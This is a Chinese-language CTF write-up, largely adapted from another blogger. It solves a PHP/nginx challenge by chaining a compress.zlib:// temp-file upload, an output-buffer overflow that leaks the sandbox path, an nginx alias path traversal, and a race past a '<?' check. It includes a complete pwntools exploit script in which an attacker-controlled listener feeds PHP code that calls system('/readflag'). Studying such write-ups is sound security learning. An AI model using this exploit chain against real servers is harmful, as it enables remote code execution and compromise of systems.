前言
最好的学习就是理解,也是看了很久的wp,对我这种新手来说帮助不大,但是长远来看,最为接近实战的ctf才是有意义的题目,所以自己也是狠狠的理解了很久。下面来是自己的理解加上原主的内容,这里放上原博主的链接https://ljdd520.github.io/
md,自己水平确实还是不要碰这些题为好,太g8难了,后面几乎都是抄原主的话
解题
题目给出源代码以及部署文件,源代码如下:
<?php
declare(strict_types=1);
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
try {
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
}
finally {
system('rm -rf '.escapeshellarg($rand_dir));
}
下面是代码审计
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
创建一个沙盒,目录是随便取的数字,然后转为16进制,不成功就直接g了推出脚本,然后,putenv() 函数用于设置系统环境变量,它的参数是一个以 key=value 形式表示的字符串。这里将 TMPDIR 的值设置为拼接后的目录路径。通过设置 TMPDIR 环境变量,可以指定临时文件的存放位置为当前脚本所在目录下的随机目录。然后输出欢迎信息,告诉你的目录名字,使用 file_get_contents() 函数读取用户上传的文件,并检查其是否包含 PHP 代码。如果不存在 PHP 代码,则使用 include_once() 函数引入该文件。无论程序是否出现异常,最终都会执行 rm -rf 命令来删除之前创建的随机目录及其内容
Configuration Error
其中配置文件有一个比较明显的配置错误:
location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}
开启了列目录并且我们可以遍历到上层文件夹。
很明显,我们的利用点就是文件包含 include_once($_POST['file']);,
而且文件还不能是php文件,写木马难道泡汤了吗?
第一想法肯定是绕过<?,和p神的谈一谈php://filter的妙用似乎有异曲同工之妙,但是我们仔细观察会发现,这是先使用了file_get_contents函数之后进行判断是否有<?,所以这里的编码绕过就不太可能了。
那我们文件包含还能干嘛?包含临时似乎是我们的最佳选择
首先直接给出结论,我们可以使用compress.zlib://流进行上传任意文件,接着我们来看看相关原理。
在php-src源码中,我们可以找到该流的相关触发解析函数php_stream_gzopen
ext/zlib/zlib_fopen_wrapper.c
php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
true...
trueif (strncasecmp("compress.zlib://", path, 16) == 0) {
truetruepath += 16;
true} else if (strncasecmp("zlib:", path, 5) == 0) {
truetruepath += 5;
true}
trueinnerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
true...
truereturn NULL;
}
我们可以看到有个标志位STREAM_WILL_CAST,我们可以先看看这个标志位用来干嘛,在main/php_streams.h定义了该标志位:
/* If you are going to end up casting the stream into a FILE* or
* a socket, pass this flag and the streams/wrappers will not use
* buffering mechanisms while reading the headers, so that HTTP
* wrapped streams will work consistently.
* If you omit this flag, streams will use buffering and should end
* up working more optimally.
* */
#define STREAM_WILL_CAST 0x00000020
很明显,这是一个用来将stream转换成FILE*的标志位,在这里就与我们创建临时文件有关了。
接着我们跟进php_stream_open_wrapper_ex函数,该函数在main/php_streams.h中被define为_php_stream_open_wrapper_ex。
PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
truetruezend_string **opened_path, php_stream_context *context STREAMS_DC)
{
true//...
trueif (stream != NULL && (options & STREAM_MUST_SEEK)) {
truetruephp_stream *newstream;
truetrueswitch(php_stream_make_seekable_rel(stream, &newstream,
truetruetruetruetrue(options & STREAM_WILL_CAST)
truetruetruetruetruetrue? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
//...
truereturn stream;
}
/* }}} */
该函数调用了php_stream_make_seekable_rel,并向其中传入了STREAM_WILL_CAST参数,我们跟进php_stream_make_seekable_rel函数,它在main/php_streams.h中被define为_php_stream_make_seekable,继续跟进
main/streams/cast.c
/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
trueif (newstream == NULL) {
truetruereturn PHP_STREAM_FAILED;
true}
true*newstream = NULL;
trueif (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
truetrue*newstream = origstream;
truetruereturn PHP_STREAM_UNCHANGED;
true}
true/* Use a tmpfile and copy the old streams contents into it */
trueif (flags & PHP_STREAM_PREFER_STDIO) {
truetrue*newstream = php_stream_fopen_tmpfile();
true} else {
truetrue*newstream = php_stream_temp_new();
true}
true//...
}
/* }}} */
我们可以看到如果flags与PHP_STREAM_PREFER_STDIO都被设置的话,而PHP_STREAM_PREFER_STDIO在main/php_streams.h中已经被define。
define PHP_STREAM_PREFER_STDIO 1
我们只需要关心flags的值就好了,我们只需要确定flags的值非零即可,根据前面的跟进我们易知flags的在这里非零,所以这里就调用了php_stream_fopen_tmpfile函数创建了临时文件。
Keep Temp File
临时文件终究还是会被php删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留在服务器上,这样我们才有机会去包含它。
所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:
使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
使用FTP速度控制,大文件传输基本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制FTP速度即可
Bypass Waf
接下来我们就要看如何来对关键地方进行绕过了。
<?php
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
这个地方问了很多师傅,并且参考了主要的公开WP,基本都是利用两个函数之间极端的时间窗进行绕过。
什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过stripos的判断就是没有PHP代码的文件数据,接着我们利用HTTP长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有PHP代码的数据了,这样就能使include_once包含我们的代码了。
因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。
Leak Dir path
最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。
虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的sandbox路径。
所以我们需要通过传入过大的name参数,导致PHP output buffer溢出,在保持连接的情况下获取沙箱路径,参考代码:
data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))
所以整个流程我们可以总结为以下:
1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
2.利用超长的 name 溢出 output buffer 得到 sandbox 路径
3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名
4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点(来自 @wupco):
要利用大文件或ftp速度限制让连接保持
传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行
.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件
from pwn import *
import requests
import re
import threading
import time
for gg in range(100):
r = remote("192.168.220.154", 5478)
l = listen(5487)
data = '''name={}&file=compress.zlib://http://192.168.220.157:5487'''.format("a" * 8050)
payload = '''POST / HTTP/1.1
Host: 192.168.220.154:5478
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: PHPSESSID=asdasdasd
Upgrade-Insecure-Requests: 1
{}'''.format(len(data), data).replace("\n", "\r\n")
r.send(payload)
try:
r.recvuntil('your sandbox: ')
except EOFError:
print("[ERROR]: EOFERROR")
# l.close()
r.close()
continue
# dirname = r.recv(70)
dirname = r.recvuntil('\n', drop=True) + '/'
print("[DEBUG]:" + dirname)
# send trash
c = l.wait_for_connection()
resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
{}'''.format('A' * 5000000).replace("\n", "\r\n")
c.send(resp)
# get filename
r2 = requests.get("http://192.168.220.154:5478/.well-known../" + dirname + "/")
try:
tmpname = "php" + re.findall(">php(.*)<\/a", r2.text)[0]
print("[DEBUG]:" + tmpname)
except IndexError:
l.close()
r.close()
print("[ERROR]: IndexErorr")
continue
def job():
time.sleep(0.01)
phpcode = 'wtf<?php system("/readflag");?>';
c.send(phpcode)
t = threading.Thread(target=job)
t.start()
# file_get_contents and include tmp file
exp_file = dirname + "/" + tmpname
print("[DEBUG]:" + exp_file)
r3 = requests.post("http://192.168.220.154:5478/", data={'file': exp_file})
print(r3.status_code, r3.text)
if "wtf" in r3.text:
break
t.join()
r.close()
l.close()
# r.interactive()
我只能说学不了一点